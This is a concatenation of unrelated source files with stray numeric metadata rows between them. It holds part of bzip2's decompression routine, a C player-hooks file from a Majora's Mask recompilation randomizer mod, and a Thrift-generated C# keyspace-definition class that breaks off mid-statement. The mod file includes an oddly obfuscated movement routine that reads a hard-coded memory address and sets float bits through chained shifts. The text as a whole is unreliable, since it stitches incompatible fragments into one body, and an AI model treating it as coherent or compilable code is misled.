area*/ i = s->save_i; j = s->save_j; t = s->save_t; alphaSize = s->save_alphaSize; nGroups = s->save_nGroups; nSelectors = s->save_nSelectors; EOB = s->save_EOB; groupNo = s->save_groupNo; groupPos = s->save_groupPos; nextSym = s->save_nextSym; nblockMAX = s->save_nblockMAX; nblock = s->save_nblock; es = s->save_es; N = s->save_N; curr = s->save_curr; zt = s->save_zt; zn = s->save_zn; zvec = s->save_zvec; zj = s->save_zj; gSel = s->save_gSel; gMinlen = s->save_gMinlen; gLimit = s->save_gLimit; gBase = s->save_gBase; gPerm = s->save_gPerm; retVal = BZ_OK; switch (s->state) { GET_UCHAR(BZ_X_MAGIC_1, uc); if (uc != BZ_HDR_B) RETURN(BZ_DATA_ERROR_MAGIC); GET_UCHAR(BZ_X_MAGIC_2, uc); if (uc != BZ_HDR_Z) RETURN(BZ_DATA_ERROR_MAGIC); GET_UCHAR(BZ_X_MAGIC_3, uc) if (uc != BZ_HDR_h) RETURN(BZ_DATA_ERROR_MAGIC); GET_BITS(BZ_X_MAGIC_4, s->blockSize100k, 8) if (s->blockSize100k < (BZ_HDR_0 + 1) || s->blockSize100k > (BZ_HDR_0 + 9)) RETURN(BZ_DATA_ERROR_MAGIC); s->blockSize100k -= BZ_HDR_0; if (s->smallDecompress) { s->ll16 = BZALLOC( s->blockSize100k * 100000 * sizeof(UInt16) ); s->ll4 = BZALLOC( ((1 + s->blockSize100k * 100000) >> 1) * sizeof(UChar) ); if (s->ll16 == NULL || s->ll4 == NULL) RETURN(BZ_MEM_ERROR); } else { s->tt = BZALLOC( s->blockSize100k * 100000 * sizeof(Int32) ); if (s->tt == NULL) RETURN(BZ_MEM_ERROR); } GET_UCHAR(BZ_X_BLKHDR_1, uc); if (uc == 0x17) goto endhdr_2; if (uc != 0x31) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_BLKHDR_2, uc); if (uc != 0x41) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_BLKHDR_3, uc); if (uc != 0x59) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_BLKHDR_4, uc); if (uc != 0x26) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_BLKHDR_5, uc); if (uc != 0x53) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_BLKHDR_6, uc); if (uc != 0x59) RETURN(BZ_DATA_ERROR); s->currBlockNo++; if (s->verbosity >= 2) VPrintf1 ( "\n [%d: huff+mtf ", s->currBlockNo ); s->storedBlockCRC = 0; GET_UCHAR(BZ_X_BCRC_1, uc); s->storedBlockCRC = (s->storedBlockCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_BCRC_2, uc); s->storedBlockCRC = (s->storedBlockCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_BCRC_3, uc); s->storedBlockCRC = (s->storedBlockCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_BCRC_4, uc); s->storedBlockCRC = (s->storedBlockCRC << 8) | ((UInt32)uc); GET_BITS(BZ_X_RANDBIT, s->blockRandomised, 1); s->origPtr = 0; GET_UCHAR(BZ_X_ORIGPTR_1, uc); s->origPtr = (s->origPtr << 8) | ((Int32)uc); GET_UCHAR(BZ_X_ORIGPTR_2, uc); s->origPtr = (s->origPtr << 8) | ((Int32)uc); GET_UCHAR(BZ_X_ORIGPTR_3, uc); s->origPtr = (s->origPtr << 8) | ((Int32)uc); if (s->origPtr < 0) RETURN(BZ_DATA_ERROR); if (s->origPtr > 10 + 100000*s->blockSize100k) RETURN(BZ_DATA_ERROR); /*--- Receive the mapping table ---*/ for (i = 0; i < 16; i++) { GET_BIT(BZ_X_MAPPING_1, uc); if (uc == 1) s->inUse16[i] = True; else s->inUse16[i] = False; } for (i = 0; i < 256; i++) s->inUse[i] = False; for (i = 0; i < 16; i++) if (s->inUse16[i]) for (j = 0; j < 16; j++) { GET_BIT(BZ_X_MAPPING_2, uc); if (uc == 1) s->inUse[i * 16 + j] = True; } makeMaps_d ( s ); if (s->nInUse == 0) RETURN(BZ_DATA_ERROR); alphaSize = s->nInUse+2; /*--- Now the selectors ---*/ GET_BITS(BZ_X_SELECTOR_1, nGroups, 3); if (nGroups < 2 || nGroups > BZ_N_GROUPS) RETURN(BZ_DATA_ERROR); GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15); if (nSelectors < 1) RETURN(BZ_DATA_ERROR); for (i = 0; i < nSelectors; i++) { j = 0; while (True) { GET_BIT(BZ_X_SELECTOR_3, uc); if (uc == 0) break; j++; if (j >= nGroups) RETURN(BZ_DATA_ERROR); } /* Having more than BZ_MAX_SELECTORS doesn't make much sense since they will never be used, but some implementations might "round up" the number of selectors, so just ignore those. */ if (i < BZ_MAX_SELECTORS) s->selectorMtf[i] = j; } if (nSelectors > BZ_MAX_SELECTORS) nSelectors = BZ_MAX_SELECTORS; /*--- Undo the MTF values for the selectors. ---*/ { UChar pos[BZ_N_GROUPS], tmp, v; for (v = 0; v < nGroups; v++) pos[v] = v; for (i = 0; i < nSelectors; i++) { v = s->selectorMtf[i]; tmp = pos[v]; while (v > 0) { pos[v] = pos[v-1]; v--; } pos[0] = tmp; s->selector[i] = tmp; } } /*--- Now the coding tables ---*/ for (t = 0; t < nGroups; t++) { GET_BITS(BZ_X_CODING_1, curr, 5); for (i = 0; i < alphaSize; i++) { while (True) { if (curr < 1 || curr > 20) RETURN(BZ_DATA_ERROR); GET_BIT(BZ_X_CODING_2, uc); if (uc == 0) break; GET_BIT(BZ_X_CODING_3, uc); if (uc == 0) curr++; else curr--; } s->len[t][i] = curr; } } /*--- Create the Huffman decoding tables ---*/ for (t = 0; t < nGroups; t++) { minLen = 32; maxLen = 0; for (i = 0; i < alphaSize; i++) { if (s->len[t][i] > maxLen) maxLen = s->len[t][i]; if (s->len[t][i] < minLen) minLen = s->len[t][i]; } BZ2_hbCreateDecodeTables ( &(s->limit[t][0]), &(s->base[t][0]), &(s->perm[t][0]), &(s->len[t][0]), minLen, maxLen, alphaSize ); s->minLens[t] = minLen; } /*--- Now the MTF values ---*/ EOB = s->nInUse+1; nblockMAX = 100000 * s->blockSize100k; groupNo = -1; groupPos = 0; for (i = 0; i <= 255; i++) s->unzftab[i] = 0; /*-- MTF init --*/ { Int32 ii, jj, kk; kk = MTFA_SIZE-1; for (ii = 256 / MTFL_SIZE - 1; ii >= 0; ii--) { for (jj = MTFL_SIZE-1; jj >= 0; jj--) { s->mtfa[kk] = (UChar)(ii * MTFL_SIZE + jj); kk--; } s->mtfbase[ii] = kk + 1; } } /*-- end MTF init --*/ nblock = 0; GET_MTF_VAL(BZ_X_MTF_1, BZ_X_MTF_2, nextSym); while (True) { if (nextSym == EOB) break; if (nextSym == BZ_RUNA || nextSym == BZ_RUNB) { es = -1; N = 1; do { /* Check that N doesn't get too big, so that es doesn't go negative. The maximum value that can be RUNA/RUNB encoded is equal to the block size (post the initial RLE), viz, 900k, so bounding N at 2 million should guard against overflow without rejecting any legitimate inputs. */ if (N >= 2*1024*1024) RETURN(BZ_DATA_ERROR); if (nextSym == BZ_RUNA) es = es + (0+1) * N; else if (nextSym == BZ_RUNB) es = es + (1+1) * N; N = N * 2; GET_MTF_VAL(BZ_X_MTF_3, BZ_X_MTF_4, nextSym); } while (nextSym == BZ_RUNA || nextSym == BZ_RUNB); es++; uc = s->seqToUnseq[ s->mtfa[s->mtfbase[0]] ]; s->unzftab[uc] += es; if (s->smallDecompress) while (es > 0) { if (nblock >= nblockMAX) RETURN(BZ_DATA_ERROR); s->ll16[nblock] = (UInt16)uc; nblock++; es--; } else while (es > 0) { if (nblock >= nblockMAX) RETURN(BZ_DATA_ERROR); s->tt[nblock] = (UInt32)uc; nblock++; es--; }; continue; } else { if (nblock >= nblockMAX) RETURN(BZ_DATA_ERROR); /*-- uc = MTF ( nextSym-1 ) --*/ { Int32 ii, jj, kk, pp, lno, off; UInt32 nn; nn = (UInt32)(nextSym - 1); if (nn < MTFL_SIZE) { /* avoid general-case expense */ pp = s->mtfbase[0]; uc = s->mtfa[pp+nn]; while (nn > 3) { Int32 z = pp+nn; s->mtfa[(z) ] = s->mtfa[(z)-1]; s->mtfa[(z)-1] = s->mtfa[(z)-2]; s->mtfa[(z)-2] = s->mtfa[(z)-3]; s->mtfa[(z)-3] = s->mtfa[(z)-4]; nn -= 4; } while (nn > 0) { s->mtfa[(pp+nn)] = s->mtfa[(pp+nn)-1]; nn--; }; s->mtfa[pp] = uc; } else { /* general case */ lno = nn / MTFL_SIZE; off = nn % MTFL_SIZE; pp = s->mtfbase[lno] + off; uc = s->mtfa[pp]; while (pp > s->mtfbase[lno]) { s->mtfa[pp] = s->mtfa[pp-1]; pp--; }; s->mtfbase[lno]++; while (lno > 0) { s->mtfbase[lno]--; s->mtfa[s->mtfbase[lno]] = s->mtfa[s->mtfbase[lno-1] + MTFL_SIZE - 1]; lno--; } s->mtfbase[0]--; s->mtfa[s->mtfbase[0]] = uc; if (s->mtfbase[0] == 0) { kk = MTFA_SIZE-1; for (ii = 256 / MTFL_SIZE-1; ii >= 0; ii--) { for (jj = MTFL_SIZE-1; jj >= 0; jj--) { s->mtfa[kk] = s->mtfa[s->mtfbase[ii] + jj]; kk--; } s->mtfbase[ii] = kk + 1; } } } } /*-- end uc = MTF ( nextSym-1 ) --*/ s->unzftab[s->seqToUnseq[uc]]++; if (s->smallDecompress) s->ll16[nblock] = (UInt16)(s->seqToUnseq[uc]); else s->tt[nblock] = (UInt32)(s->seqToUnseq[uc]); nblock++; GET_MTF_VAL(BZ_X_MTF_5, BZ_X_MTF_6, nextSym); continue; } } /* Now we know what nblock is, we can do a better sanity check on s->origPtr. */ if (s->origPtr < 0 || s->origPtr >= nblock) RETURN(BZ_DATA_ERROR); /*-- Set up cftab to facilitate generation of T^(-1) --*/ /* Check: unzftab entries in range. */ for (i = 0; i <= 255; i++) { if (s->unzftab[i] < 0 || s->unzftab[i] > nblock) RETURN(BZ_DATA_ERROR); } /* Actually generate cftab. */ s->cftab[0] = 0; for (i = 1; i <= 256; i++) s->cftab[i] = s->unzftab[i-1]; for (i = 1; i <= 256; i++) s->cftab[i] += s->cftab[i-1]; /* Check: cftab entries in range. */ for (i = 0; i <= 256; i++) { if (s->cftab[i] < 0 || s->cftab[i] > nblock) { /* s->cftab[i] can legitimately be == nblock */ RETURN(BZ_DATA_ERROR); } } /* Check: cftab entries non-descending. */ for (i = 1; i <= 256; i++) { if (s->cftab[i-1] > s->cftab[i]) { RETURN(BZ_DATA_ERROR); } } s->state_out_len = 0; s->state_out_ch = 0; BZ_INITIALISE_CRC ( s->calculatedBlockCRC ); s->state = BZ_X_OUTPUT; if (s->verbosity >= 2) VPrintf0 ( "rt+rld" ); if (s->smallDecompress) { /*-- Make a copy of cftab, used in generation of T --*/ for (i = 0; i <= 256; i++) s->cftabCopy[i] = s->cftab[i]; /*-- compute the T vector --*/ for (i = 0; i < nblock; i++) { uc = (UChar)(s->ll16[i]); SET_LL(i, s->cftabCopy[uc]); s->cftabCopy[uc]++; } /*-- Compute T^(-1) by pointer reversal on T --*/ i = s->origPtr; j = GET_LL(i); do { Int32 tmp = GET_LL(j); SET_LL(j, i); i = j; j = tmp; } while (i != s->origPtr); s->tPos = s->origPtr; s->nblock_used = 0; if (s->blockRandomised) { BZ_RAND_INIT_MASK; BZ_GET_SMALL(s->k0); s->nblock_used++; BZ_RAND_UPD_MASK; s->k0 ^= BZ_RAND_MASK; } else { BZ_GET_SMALL(s->k0); s->nblock_used++; } } else { /*-- compute the T^(-1) vector --*/ for (i = 0; i < nblock; i++) { uc = (UChar)(s->tt[i] & 0xff); s->tt[s->cftab[uc]] |= (i << 8); s->cftab[uc]++; } s->tPos = s->tt[s->origPtr] >> 8; s->nblock_used = 0; if (s->blockRandomised) { BZ_RAND_INIT_MASK; BZ_GET_FAST(s->k0); s->nblock_used++; BZ_RAND_UPD_MASK; s->k0 ^= BZ_RAND_MASK; } else { BZ_GET_FAST(s->k0); s->nblock_used++; } } RETURN(BZ_OK); endhdr_2: GET_UCHAR(BZ_X_ENDHDR_2, uc); if (uc != 0x72) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_ENDHDR_3, uc); if (uc != 0x45) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_ENDHDR_4, uc); if (uc != 0x38) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_ENDHDR_5, uc); if (uc != 0x50) RETURN(BZ_DATA_ERROR); GET_UCHAR(BZ_X_ENDHDR_6, uc); if (uc != 0x90) RETURN(BZ_DATA_ERROR); s->storedCombinedCRC = 0; GET_UCHAR(BZ_X_CCRC_1, uc); s->storedCombinedCRC = (s->storedCombinedCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_CCRC_2, uc); s->storedCombinedCRC = (s->storedCombinedCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_CCRC_3, uc); s->storedCombinedCRC = (s->storedCombinedCRC << 8) | ((UInt32)uc); GET_UCHAR(BZ_X_CCRC_4, uc); s->storedCombinedCRC = (s->storedCombinedCRC << 8) | ((UInt32)uc); s->state = BZ_X_IDLE; RETURN(BZ_STREAM_END); default: AssertH ( False, 4001 ); } AssertH ( False, 4002 ); save_state_and_return: s->save_i = i; s->save_j = j; s->save_t = t; s->save_alphaSize = alphaSize; s->save_nGroups = nGroups; s->save_nSelectors = nSelectors; s->save_EOB = EOB; s->save_groupNo = groupNo; s->save_groupPos = groupPos; s->save_nextSym = nextSym; s->save_nblockMAX = nblockMAX; s->save_nblock = nblock; s->save_es = es; s->save_N = N; s->save_curr = curr; s->save_zt = zt; s->save_zn = zn; s->save_zvec = zvec; s->save_zj = zj; s->save_gSel = gSel; s->save_gMinlen = gMinlen; s->save_gLimit = gLimit; s->save_gBase = gBase; s->save_gPerm = gPerm; return retVal; } /*-------------------------------------------------------------*/ /*--- end decompress.c ---*/ /*-------------------------------------------------------------*/
0
0.998022
1
0.998022
game-dev
MEDIA
0.18345
game-dev
0.999766
1
0.999766
RecompRando/MMRecompRando
11,359
src/player_hooks.c
#include "modding.h" #include "global.h" #include "overlays/actors/ovl_En_Bom/z_en_bom.h" #include "apcommon.h" #define SPEED_MODE_CURVED 0.018f #define LINK_GORON_SHIELDING_LIMB_MAX 0x05 extern LinkAnimationHeader gPlayerAnim_clink_normal_okarina_walk; extern LinkAnimationHeader gPlayerAnim_clink_normal_okarina_walkB; extern AnimationHeader gLinkGoronShieldingAnim; extern FlexSkeletonHeader gLinkGoronShieldingSkel; extern Input* sPlayerControlInput; extern s8 sPlayerActionChangeList7[]; extern PlayerAnimationHeader* D_8085BE84[PLAYER_ANIMGROUP_MAX][PLAYER_ANIMTYPE_MAX]; s32 Player_GrabPlayer(PlayState* play, Player* this); s32 Player_TryCsAction(PlayState* play, Player* this, PlayerCsAction csAction); void func_8085B384(Player* this, PlayState* play); s32 Player_InflictDamage(PlayState* play, s32 damage); void Player_TalkWithPlayer(PlayState* play, Actor* actor); void func_8085B74C(PlayState* play); void func_8085B820(PlayState* play, s16 arg1); PlayerItemAction func_8085B854(PlayState* play, Player* this, ItemId itemId); s32 func_8085B930(PlayState* play, PlayerAnimationHeader* talkAnim, AnimationMode animMode); void Player_UpdateCommon(Player* this, PlayState* play, Input* input); s32 Player_StartFishing(PlayState* play); void func_8085B170(PlayState* play, Player* this); s32 func_8083A658(PlayState* play, Player* this); void Player_InitItemAction(PlayState* play, Player* this, PlayerItemAction itemAction); void Player_UseItem(PlayState* play, Player* this, ItemId item); void func_80836988(Player* this, PlayState* play); void func_808484F0(Player* this); void func_80838A20(PlayState* play, Player* this); void func_80839978(PlayState* play, Player* this); void func_80839A10(PlayState* play, Player* this); s32 Player_SetAction(PlayState* play, Player* this, PlayerActionFunc actionFunc, s32 arg3); void Player_Action_80(Player* this, PlayState* play); void Player_Action_81(Player* this, PlayState* play); void Player_UseItem(PlayState* play, Player* this, ItemId item); void Player_StopHorizontalMovement(Player* this); void Player_AnimationPlayOnce(PlayState* play, Player* this, PlayerAnimationHeader* anim); void func_8082DE50(PlayState* play, Player* this); PlayerAnimationHeader* func_8082ED20(Player* this); void func_80836D8C(Player* this); s32 Player_TryActionChangeList(PlayState* play, Player* this, s8* actionChangeList, s32 updateUpperBody); s32 Player_GetMovementSpeedAndYaw(Player* this, f32* outSpeedTarget, s16* outYawTarget, f32 speedMode, PlayState* play); void func_80839E74(Player* this, PlayState* play); s32 func_8083A4A4(Player* this, f32* arg1, s16* arg2, f32 arg3); void func_8083C8E8(Player* this, PlayState* play); void func_8083CB04(Player* this, f32 arg1, s16 arg2, f32 arg3, f32 arg4, s16 arg5); void func_808309CC(PlayState* play, Player* this); static InitChainEntry sInitChain[] = { ICHAIN_F32(targetArrowOffset, 500, ICHAIN_STOP), }; Vec3s sPlayerSkeletonBaseTransl = { -57, 3377, 0 }; ColliderCylinderInit D_8085C2EC = { { COLTYPE_HIT5, AT_NONE, AC_ON | AC_TYPE_ENEMY, OC1_ON | OC1_TYPE_ALL, OC2_TYPE_PLAYER, COLSHAPE_CYLINDER, }, { ELEMTYPE_UNK1, { 0x00000000, 0x00, 0x00 }, { 0xF7CFFFFF, 0x00, 0x00 }, TOUCH_NONE | TOUCH_SFX_NORMAL, BUMP_ON, OCELEM_ON, }, { 12, 60, 0, { 0, 0, 0 } }, }; ColliderCylinderInit D_8085C318 = { { COLTYPE_METAL, AT_ON | AT_TYPE_PLAYER, AC_ON | AC_HARD | AC_TYPE_ENEMY, OC1_NONE, OC2_TYPE_PLAYER, COLSHAPE_CYLINDER, }, { ELEMTYPE_UNK2, { 0x00100000, 0x00, 0x02 }, { 0xD7CFFFFF, 0x00, 0x00 }, TOUCH_NONE | TOUCH_SFX_NORMAL, BUMP_ON, OCELEM_ON, }, { 25, 60, 0, { 0, 0, 0 } }, }; ColliderQuadInit D_8085C344 = { { COLTYPE_NONE, AT_ON | AT_TYPE_PLAYER, AC_NONE, OC1_NONE, OC2_TYPE_PLAYER, COLSHAPE_QUAD, }, { ELEMTYPE_UNK2, { 0x00000000, 0x00, 0x01 }, { 0xF7CFFFFF, 0x00, 0x00 }, TOUCH_ON | TOUCH_SFX_NORMAL, BUMP_NONE, OCELEM_NONE, }, { { { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f } } }, }; typedef union { f32 calc_dir; u32 stale_dir; } dirsu; dirsu dirs; ColliderQuadInit D_8085C394 = { { COLTYPE_METAL, AT_ON | AT_TYPE_PLAYER, AC_ON | AC_HARD | AC_TYPE_ENEMY, OC1_NONE, OC2_TYPE_PLAYER, COLSHAPE_QUAD, }, { ELEMTYPE_UNK2, { 0x00100000, 0x00, 0x00 }, { 0xD7CFFFFF, 0x00, 0x00 }, TOUCH_ON | TOUCH_SFX_NORMAL, BUMP_ON, OCELEM_NONE, }, { { { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f }, { 0.0f, 0.0f, 0.0f } } }, }; #define PLAYER_ANIMGROUP_wait 0 RECOMP_PATCH void Player_InitCommon(Player* this, PlayState* play, FlexSkeletonHeader* skelHeader) { Actor_ProcessInitChain(&this->actor, sInitChain); this->currentYaw = this->actor.world.rot.y; if ((PLAYER_GET_INITMODE(&this->actor) != PLAYER_INITMODE_TELESCOPE) && ((gSaveContext.respawnFlag != 2) || (gSaveContext.respawn[RESPAWN_MODE_RETURN].playerParams != PLAYER_PARAMS(0xFF, PLAYER_INITMODE_TELESCOPE)))) { func_808309CC(play, this); SkelAnime_InitPlayer(play, &this->skelAnime, skelHeader, D_8085BE84[PLAYER_ANIMGROUP_wait][this->modelAnimType], 1 | 8, this->jointTableBuffer, this->morphTableBuffer, PLAYER_LIMB_MAX); this->skelAnime.baseTransl = sPlayerSkeletonBaseTransl; SkelAnime_InitPlayer(play, &this->skelAnimeUpper, skelHeader, func_8082ED20(this), 1 | 8, this->jointTableUpperBuffer, this->morphTableUpperBuffer, PLAYER_LIMB_MAX); this->skelAnimeUpper.baseTransl = sPlayerSkeletonBaseTransl; if (this->transformation == PLAYER_FORM_GORON) { SkelAnime_InitFlex(play, &this->unk_2C8, &gLinkGoronShieldingSkel, &gLinkGoronShieldingAnim, this->jointTable, this->morphTable, LINK_GORON_SHIELDING_LIMB_MAX); } ActorShape_Init(&this->actor.shape, 0.0f, ActorShadow_DrawFeet, this->ageProperties->shadowScale); } this->subCamId = CAM_ID_NONE; Collider_InitAndSetCylinder(play, &this->cylinder, &this->actor, &D_8085C2EC); Collider_InitAndSetCylinder(play, &this->shieldCylinder, &this->actor, &D_8085C318); Collider_InitAndSetQuad(play, &this->meleeWeaponQuads[0], &this->actor, &D_8085C344); Collider_InitAndSetQuad(play, &this->meleeWeaponQuads[1], &this->actor, &D_8085C344); Collider_InitAndSetQuad(play, &this->shieldQuad, &this->actor, &D_8085C394); } void ZeldaArena_Free(void* ptr); void func_80831454(Player* this); RECOMP_PATCH void Player_Destroy(Actor* thisx, PlayState* play) { Player* this = (Player*)thisx; Effect_Destroy(play, this->meleeWeaponEffectIndex[0]); Effect_Destroy(play, this->meleeWeaponEffectIndex[1]); Effect_Destroy(play, this->meleeWeaponEffectIndex[2]); LightContext_RemoveLight(play, &play->lightCtx, this->lightNode); Collider_DestroyCylinder(play, &this->cylinder); Collider_DestroyCylinder(play, &this->shieldCylinder); Collider_DestroyQuad(play, &this->meleeWeaponQuads[0]); Collider_DestroyQuad(play, &this->meleeWeaponQuads[1]); Collider_DestroyQuad(play, &this->shieldQuad); ZeldaArena_Free(this->giObjectSegment); ZeldaArena_Free(this->maskObjectSegment); Magic_Reset(play); func_80831454(this); } u16 sPlayerItemButtons[] = { BTN_B, BTN_CLEFT, BTN_CDOWN, BTN_CRIGHT, }; extern s32 sPlayerHeldItemButtonIsHeldDown; EquipSlot func_8082FD0C(Player* this, PlayerItemAction itemAction); PlayerItemAction Player_ItemToItemAction(Player* this, ItemId item); s32 Player_ItemIsInUse(Player* this, ItemId item); EquipSlot func_8082FDC4(void); RECOMP_HOOK_RETURN("Player_ProcessItemButtons") void updateBlastMaskTimer() { Player* player = GET_PLAYER(gPlay); player->blastMaskTimer = 0; } s32 func_80847880(PlayState* play, Player* this) { if (play->unk_1887C != 0) { if (play->sceneId == SCENE_20SICHITAI) { Player_SetAction(play, this, Player_Action_80, 0); play->unk_1887C = 0; this->csAction = PLAYER_CSACTION_NONE; return true; } func_8082DE50(play, this); Player_SetAction(play, this, Player_Action_81, 0); if (!func_800B7118(this) || Player_IsHoldingHookshot(this)) { Player_UseItem(play, this, ITEM_BOW); } Player_AnimationPlayOnce(play, this, func_8082ED20(this)); this->csAction = PLAYER_CSACTION_NONE; this->stateFlags1 |= PLAYER_STATE1_100000; Player_StopHorizontalMovement(this); func_80836D8C(this); return true; } return false; } RECOMP_PATCH void Player_Action_11(Player* this, PlayState* play) { u8 yaw = *((u8*) *((u8**) 0x8077FFD4) + 1); u8 shape_yaw = *((u8*) *((u8**) 0x8077FFD4)); this->stateFlags2 |= PLAYER_STATE2_20; if (this->linearVelocity < 1.0f) { this->skelAnime.animation = &gPlayerAnim_clink_normal_okarina_walk; } else { this->skelAnime.animation = &gPlayerAnim_clink_normal_okarina_walkB; } PlayerAnimation_Update(play, &this->skelAnime); if (CHECK_BTN_ALL(sPlayerControlInput->cur.button, 0x6027)) { this->actor.velocity.y = 60.0f; } if (!func_80847880(play, this)) { f32 temp_fv0; f32 temp_fv1; s16 yawTarget; s16 sp30; dirs.calc_dir = 0.0f; if (!CHECK_BTN_ALL(sPlayerControlInput->cur.button, BTN_B)) { func_80839E74(this, play); return; } this->linearVelocity = this->unk_B48; Player_GetMovementSpeedAndYaw(this, &dirs.calc_dir, &yawTarget, SPEED_MODE_CURVED, play); sp30 = yawTarget; dirs.stale_dir = 2105 << 0x11 << 0b10; if ((~((yaw) | ~(1 << 01 << 2 << 0b1 << 1)) == 0)) { dirs.stale_dir = 0x849 << 0x10 << 0b11; if ((~((yaw) | ~(1 << 1 << 1)) == 0)) { dirs.stale_dir = 8523 << 0b10000 << 0x1; if ((~((yaw) | ~(1 << 01)) == 0)) { dirs.stale_dir = 2137 << 0x10 << 3; if ((~((yaw) | ~(0x1000 >> 014)) == 0)) { dirs.stale_dir = 0x869 << 19; } } } } if (!func_8083A4A4(this, &dirs.calc_dir, &yawTarget, REG(43) / 100.0f)) { func_8083CB04(this, dirs.calc_dir, yawTarget, REG(19) / 100.0f, 1.5f, 0x3E8); func_8083C8E8(this, play); if ((this->linearVelocity == 0.0f) && (dirs.calc_dir == 0.0f)) { this->currentYaw = sp30; this->actor.shape.rot.y = this->currentYaw; } } this->unk_B48 = this->linearVelocity; temp_fv0 = this->skelAnime.curFrame + 5.0f; temp_fv1 = this->skelAnime.animLength / 2.0f; // effectively an fmodf temp_fv0 -= temp_fv1 * (s32)(temp_fv0 / temp_fv1); this->linearVelocity *= Math_CosS(temp_fv0 * 1000.0f) * 0.4f; } }
0
0.869671
1
0.869671
game-dev
MEDIA
0.974121
game-dev
0.919504
1
0.919504
robotology/yarp
14,662
extern/thrift/thrift/lib/netstd/Tests/Thrift.PublicInterfaces.Compile.Tests/gen-netstd/Apache/Cassandra/Test/KsDef.cs
/** * Autogenerated by Thrift Compiler (0.14.0) * * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING * @generated */ using System; using System.Collections; using System.Collections.Generic; using System.Text; using System.IO; using System.Linq; using System.Threading; using System.Threading.Tasks; using Microsoft.Extensions.Logging; using Thrift; using Thrift.Collections; using System.ServiceModel; using System.Runtime.Serialization; using Thrift.Protocol; using Thrift.Protocol.Entities; using Thrift.Protocol.Utilities; using Thrift.Transport; using Thrift.Transport.Client; using Thrift.Transport.Server; using Thrift.Processor; #pragma warning disable IDE0079 // remove unnecessary pragmas #pragma warning disable IDE1006 // parts of the code use IDL spelling namespace Apache.Cassandra.Test { [DataContract(Namespace="")] public partial class KsDef : TBase { private Dictionary<string, string> _strategy_options; private int _replication_factor; private bool _durable_writes; [DataMember(Order = 0)] public string Name { get; set; } [DataMember(Order = 0)] public string Strategy_class { get; set; } [DataMember(Order = 0)] public Dictionary<string, string> Strategy_options { get { return _strategy_options; } set { __isset.strategy_options = true; this._strategy_options = value; } } /// <summary> /// @deprecated /// </summary> [DataMember(Order = 0)] public int Replication_factor { get { return _replication_factor; } set { __isset.replication_factor = true; this._replication_factor = value; } } [DataMember(Order = 0)] public List<global::Apache.Cassandra.Test.CfDef> Cf_defs { get; set; } [DataMember(Order = 0)] public bool Durable_writes { get { return _durable_writes; } set { __isset.durable_writes = true; this._durable_writes = value; } } [DataMember(Order = 1)] public Isset __isset; [DataContract] public struct Isset { [DataMember] public bool strategy_options; [DataMember] public bool replication_factor; [DataMember] public bool durable_writes; } #region XmlSerializer support public bool ShouldSerializeStrategy_options() { return __isset.strategy_options; } public bool ShouldSerializeReplication_factor() { return __isset.replication_factor; } public bool ShouldSerializeDurable_writes() { return __isset.durable_writes; } #endregion XmlSerializer support public KsDef() { this._durable_writes = true; this.__isset.durable_writes = true; } public KsDef(string name, string strategy_class, List<global::Apache.Cassandra.Test.CfDef> cf_defs) : this() { this.Name = name; this.Strategy_class = strategy_class; this.Cf_defs = cf_defs; } public KsDef DeepCopy() { var tmp112 = new KsDef(); if((Name != null)) { tmp112.Name = this.Name; } if((Strategy_class != null)) { tmp112.Strategy_class = this.Strategy_class; } if((Strategy_options != null) && __isset.strategy_options) { tmp112.Strategy_options = this.Strategy_options.DeepCopy(); } tmp112.__isset.strategy_options = this.__isset.strategy_options; if(__isset.replication_factor) { tmp112.Replication_factor = this.Replication_factor; } tmp112.__isset.replication_factor = this.__isset.replication_factor; if((Cf_defs != null)) { tmp112.Cf_defs = this.Cf_defs.DeepCopy(); } if(__isset.durable_writes) { tmp112.Durable_writes = this.Durable_writes; } tmp112.__isset.durable_writes = this.__isset.durable_writes; return tmp112; } public async global::System.Threading.Tasks.Task ReadAsync(TProtocol iprot, CancellationToken cancellationToken) { iprot.IncrementRecursionDepth(); try { bool isset_name = false; bool isset_strategy_class = false; bool isset_cf_defs = false; TField field; await iprot.ReadStructBeginAsync(cancellationToken); while (true) { field = await iprot.ReadFieldBeginAsync(cancellationToken); if (field.Type == TType.Stop) { break; } switch (field.ID) { case 1: if (field.Type == TType.String) { Name = await iprot.ReadStringAsync(cancellationToken); isset_name = true; } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; case 2: if (field.Type == TType.String) { Strategy_class = await iprot.ReadStringAsync(cancellationToken); isset_strategy_class = true; } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; case 3: if (field.Type == TType.Map) { { TMap _map113 = await iprot.ReadMapBeginAsync(cancellationToken); Strategy_options = new Dictionary<string, string>(_map113.Count); for(int _i114 = 0; _i114 < _map113.Count; ++_i114) { string _key115; string _val116; _key115 = await iprot.ReadStringAsync(cancellationToken); _val116 = await iprot.ReadStringAsync(cancellationToken); Strategy_options[_key115] = _val116; } await iprot.ReadMapEndAsync(cancellationToken); } } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; case 4: if (field.Type == TType.I32) { Replication_factor = await iprot.ReadI32Async(cancellationToken); } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; case 5: if (field.Type == TType.List) { { TList _list117 = await iprot.ReadListBeginAsync(cancellationToken); Cf_defs = new List<global::Apache.Cassandra.Test.CfDef>(_list117.Count); for(int _i118 = 0; _i118 < _list117.Count; ++_i118) { global::Apache.Cassandra.Test.CfDef _elem119; _elem119 = new 